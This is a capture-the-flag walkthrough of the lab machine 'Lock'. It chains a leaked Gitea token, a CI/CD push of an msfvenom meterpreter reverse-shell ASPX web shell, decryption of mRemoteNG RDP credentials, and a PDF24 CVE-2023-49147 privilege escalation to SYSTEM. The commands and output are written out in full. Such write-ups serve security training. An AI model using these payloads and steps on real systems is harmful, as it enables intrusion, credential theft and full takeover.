Lock
8th August 2025
Prepared By: k1ph4ru
Machine Author: xct & kozie
Difficulty: Easy
Synopsis
Lock is an easy-difficulty Windows machine that involves enumerating a Gitea repository to find a
Personal Access Token . This token is then used to deploy an ASPX web shell on the server, which
provides an initial foothold. A password is then decrypted from an mRemoteNG configuration file, providing
access to a new user account. Finally, a local privilege escalation vulnerability in the PDF24 application is
exploited to obtain a shell with SYSTEM privileges.
Skills Required
Basic Git knowledge
Basic Windows Enumeration
Skills Learned
Basic Windows Enumeration
PDF24 Exploitation
Enumeration
Enumeration
Nmap
$ ports=$(nmap -p- --min-rate=1000 -T4 [Link] | grep '^[0-9]' | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
$ nmap -p$ports -sC -sV [Link]
Starting Nmap 7.95 ( [Link] ) at 2025-07-21 11:14 EDT
Nmap scan report for [Link]
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Lock - Index
|_http-server-header: Microsoft-IIS/10.0
445/tcp open microsoft-ds?
3000/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of tea
| fingerprint-strings:
<...SNIP...>
|_ Content-Length: 0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
<...SNIP...>
Host script results:
| smb2-time:
| date: 2025-07-21T[Link]
|_ start_date: N/A
| smb2-security-mode:
| [Link]
|_ Message signing enabled but not required
|_clock-skew: mean: -2h31m43s, deviation: 2s, median: -2h31m45s
Service detection performed. Please report any incorrect results at
[Link] .
Nmap done: 1 IP address (1 host up) scanned in 74.78 seconds
The Nmap output reveals four open ports. On port 80 , we notice that Microsoft IIS is running. Upon
visiting port 80 , we come across a landing page for a company that specializes in efficient and secure
document management solutions. The platform focuses on streamlining workflows and enhancing data
protection through innovative, user-friendly tools tailored for professional use.
There’s nothing particularly interesting on this port, however, based on the Nmap scan and the page title, we
saw that Gitea is running. Upon visiting port 3000 , we confirm the presence of a Gitea instance.
Upon clicking on Explore , we see a single repository named dev-scripts owned by [Link] . The
repository is written in Python .
Inside the dev-scripts repository, we see a single file named [Link] .
Looking at the commit history, we see two commits made by [Link] , one for adding [Link]
and another for updating it.
Reviewing the contents of the [Link] file, we notice that a personal access token is hard-coded
directly into the script.
The updated script introduces the use of an environment variable, GITEA_ACCESS_TOKEN , to replace the
previously hard-coded personal access token, improving security, which we also proceed to set locally.
$ export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f
Next, we copy the [Link] script locally and run it.
$ python3 [Link] [Link]
Repositories:
- [Link]/dev-scripts
- [Link]/website
We can see that there are two repos: dev-scripts and website . We already know about dev-scripts , so
we’ll go ahead and clone the website repo. We can do that with the git clone command and by
providing the access token.
$ git clone
[Link]
it
Cloning into 'website'...
remote: Enumerating objects: 165, done.
remote: Counting objects: 100% (165/165), done.
remote: Compressing objects: 100% (128/128), done.
remote: Total 165 (delta 35), reused 153 (delta 31), pack-reused 0
Receiving objects: 100% (165/165), 7.16 MiB | 72.00 KiB/s, done.
Resolving deltas: 100% (35/35), done.
We then proceed to look at the contents of the [Link] file.
$ cat [Link]
# New Project Website
CI/CD integration is now active - changes to the repository will automatically be deployed
to the webserver
This indicates that any changes to this repository automatically change the website that is being hosted. If
we look at the [Link] page within this directory, we find the HTML content of the website we were
previously on. This means if we are able to commit to the repository, it will automatically be pushed to the
website. We proceed to test this by creating a simple HTML file.
$ echo '<h1>test</h1>' > [Link]
We then add the new file with git add and also configure the user details.
$ git add [Link]
$ git config --global [Link] "[Link]"
$ git config --global [Link] "[Link]"
We then commit the staged changes
$ git commit -m "test"
[main 242f115] test
1 file changed, 1 insertion(+)
create mode 100644 [Link]
Finally, we push the commit to the remote repository, which triggers the automatic deployment.
$ git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 265 bytes | 265.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0)
remote: . Processing 1 references
remote: Processed 1 references in total
To [Link]
73cdcc1..242f115 main -> main
Now, when we run a curl request to the server, we see that the new file is being served and rendered as
expected.
$ curl [Link]
<h1>test</h1>
Foothold
Since Microsoft IIS is being used as the web server as identified from the Nmap scan, we can upload an
.aspx webshell to achieve remote code execution. We can generate this webshell using msfvenom .
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=4455 -f aspx >
[Link]
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of aspx file: 3645 bytes
We then proceed to start a listener using msfconsole to catch the reverse shell once the webshell is
triggered.
$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD
windows/x64/meterpreter/reverse_tcp; set LHOST [Link]; set LPORT 4455; run"
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
LHOST => [Link]
LPORT => 4455
[*] Started reverse TCP handler on [Link]:4455
We then use git again to push the file to the server.
$ git config --global [Link] "[Link]"
$ git config --global [Link] "[Link]"
$ git add [Link]
$ git commit -m "reverse shell"
[main b62dc3e] reverse shell
1 file changed, 47 insertions(+)
create mode 100644 [Link]
$ git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 1.47 KiB | 1.47 MiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0)
remote: . Processing 1 references
remote: Processed 1 references in total
To [Link]
242f115..b62dc3e main -> main
After committing and pushing the [Link] file which automatically deploys to the website, we trigger it
with a curl request.
$ curl [Link]
Looking back at our Metasploit listener, we observe that a Meterpreter session has been successfully
opened. We then proceed to gather system information.
[*] Sending stage (203846 bytes) to [Link]
[*] Meterpreter session 1 opened ([Link]:4455 -> [Link]:50235) at 2025-07-21
[Link] -0400
$ meterpreter > sysinfo
Computer : LOCK
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
We confirm that the Meterpreter session is running under the user [Link] .
$ meterpreter > getuid
Server username: LOCK\[Link]
Next, we enumerate the user accounts on the system.
c:\windows\system32\inetsrv>net user
net user
User accounts for \\LOCK
-------------------------------------------------------------------------------
Administrator DefaultAccount [Link]
[Link] Guest WDAGUtilityAccount
The command completed successfully.
c:\windows\system32\inetsrv>
This reveals another user [Link] . Exploring the Documents directory of [Link] , we find a
file named [Link] .
C:\Users\[Link]\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is A03D-9CEF
Directory of C:\Users\[Link]\Documents
12/28/2023 06:59 AM <DIR> .
12/28/2023 12:36 PM <DIR> ..
12/28/2023 06:59 AM 3,341 [Link]
1 File(s) 3,341 bytes
2 Dir(s) 2,998,358,016 bytes free
C:\Users\[Link]\Documents>
Upon inspecting its contents, we see that it contains stored credentials.
C:\Users\[Link]\Documents>type [Link]
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="[Link] Name="Connections" Export="false"
EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000"
FullFileEncryption="false"
Protected="sDkrKn0JrG4oAL4GW8BctmMNAJfcdu/ahPSQn3W5DPC3vPRiNwfo7OH11trVPbhwpy+1FnqfcPQZ3ol
LRy+DhDFp" ConfVersion="2.6">
<Node Name="RDP/Gale" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General"
Id="a179606a-a854-48a6-9baa-491d8eb3bddc" Username="[Link]" Domain=""
Password="TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89Ju
lQDWPw==" Hostname="Lock" Protocol="RDP" PuttySession="Default Settings" Port="3389"
ConnectToConsole="false"
<...SNIP...>
</mrng:Connections>
This is a configuration file for mRemoteNG , a remote desktop management application. The file includes a
saved RDP session for [Link] . Although the password is encrypted, mRemoteNG uses a known
AES-GCM encryption scheme, and the password can be decrypted if the Protected master key is [Link]
decrypt the password, we use the publicly available Python script.
$ python3 mremoteng_decrypt.py [Link]
Name: RDP/Gale
Hostname: Lock
Username: [Link]
Password: ty8wnW9qCKDosXo6
This successfully reveals the RDP credentials. With this credentials we are able to establish an RDP session
to the machine.
$ xfreerdp3 /v:[Link] /u:[Link] /p:ty8wnW9qCKDosXo6
Here, we are able to access the desktop and retrieve the user flag in the C:\Users\[Link]\Desktop
folder.
Privilege Escalation
Privilege Escalation
On the desktop, we also observe that the PDF24 is installed. While looking for possible local privilege
escalation vulnerabilities affecting PDF24 , we came across CVE-2023-49147. We also come across this article
on how to exploit it. The vulnerable version is up to 11.15.1 . Checking the version installed we see that it is
11.15.1 .
The exploit requires that PDF24 be installed via an MSI installer. Searching the system, we discover an
_install directory on the C:\ drive.
$ meterpreter > dir
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2023-12-28 [Link] -0500 $[Link]
040777/rwxrwxrwx 0 dir 2025-04-15 [Link] -0400 $WinREAgent
040777/rwxrwxrwx 4096 dir 2025-07-21 [Link] -0400 [Link]
040777/rwxrwxrwx 0 dir 2023-12-27 [Link] -0500 Documents and Settings
000000/--------- 0 fif 1969-12-31 [Link] -0500 [Link]
040777/rwxrwxrwx 0 dir 2023-12-27 [Link] -0500 Gitea
040777/rwxrwxrwx 0 dir 2021-05-08 [Link] -0400 PerfLogs
040555/r-xr-xr-x 4096 dir 2025-04-15 [Link] -0400 Program Files
040777/rwxrwxrwx 4096 dir 2023-12-28 [Link] -0500 Program Files (x86)
040777/rwxrwxrwx 4096 dir 2025-04-15 [Link] -0400 ProgramData
040777/rwxrwxrwx 0 dir 2023-12-27 [Link] -0500 Recovery
040777/rwxrwxrwx 4096 dir 2023-12-27 [Link] -0500 System Volume Information
040555/r-xr-xr-x 4096 dir 2023-12-28 [Link] -0500 Users
040777/rwxrwxrwx 16384 dir 2025-04-15 [Link] -0400 Windows
040777/rwxrwxrwx 0 dir 2023-12-28 [Link] -0500 _install
040777/rwxrwxrwx 4096 dir 2025-04-15 [Link] -0400 inetpub
000000/--------- 0 fif 1969-12-31 [Link] -0500 [Link]
meterpreter >
This folder contains the MSI file.
$ meterpreter > dir
Listing: C:\_install
====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 60804608 fil 2023-12-28 [Link] -0500 Firefox Setup [Link]
100666/rw-rw-rw- 43593728 fil 2023-12-28 [Link] -0500 mRemoteNG-Installer-
[Link]
100666/rw-rw-rw- 462602240 fil 2023-12-14 [Link] -0500 pdf24-creator-11.15.1-
[Link]
meterpreter >
To exploit the vulnerability, we download the [Link] utility from the SymbolicLink-Testing-Tools
$ wget [Link]
tools/releases/download/v1.0/Release.7z
$ 7z x Release.7z
We identify the [Link] binary in the extracted contents.
$ ll
total 1632
-rw-rw-r-- 1 fury fury 132096 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 116736 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 116224 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 116736 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 120832 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 118272 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 121344 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 115200 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 129536 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 114176 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 112640 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 11558 Dec 7 2015 [Link]
-rw-rw-r-- 1 fury fury 836 Mar 24 2017 [Link]
-rw-rw-r-- 1 fury fury 197274 Dec 7 2021 Release.7z
-rw-rw-r-- 1 fury fury 116224 Mar 24 2017 [Link]
To transfer the binary to the target, we host it locally using a python server.
$ python3 -m [Link] 5001
Serving HTTP on [Link] port 5001 ([Link] ...
Then, on the machine, we use curl to download the file.
C:\Users\[Link]> curl [Link] -o [Link]
Following the article’s exploitation steps, we execute the following command to create an Oplock on the
[Link] file used by PDF24 .
C:\Users\[Link]> .\[Link] "C:\Program Files\PDF24\[Link]" -r
With the Oplock in place, we open a new command shell and trigger a repair installation using the
vulnerable PDF24 MSI installer .
C:\_install> [Link] /fa c:\_install\[Link]
This may take some time and we get another pop up window.
As described in the blog post, we right-click the title bar of the window and select Properties.
In the Properties window, we choose Use legacy console .
We then proceed to choose Firefox from the application list.
Once Firefox launches, we press Ctrl + O to bring up the Open File dialog. In the dialog box, we type
[Link] .
This opens a command prompt, and we confirm that we have a system shell. The root flag can be found
under C:\Users\Administrator\Desktop\[Link] .
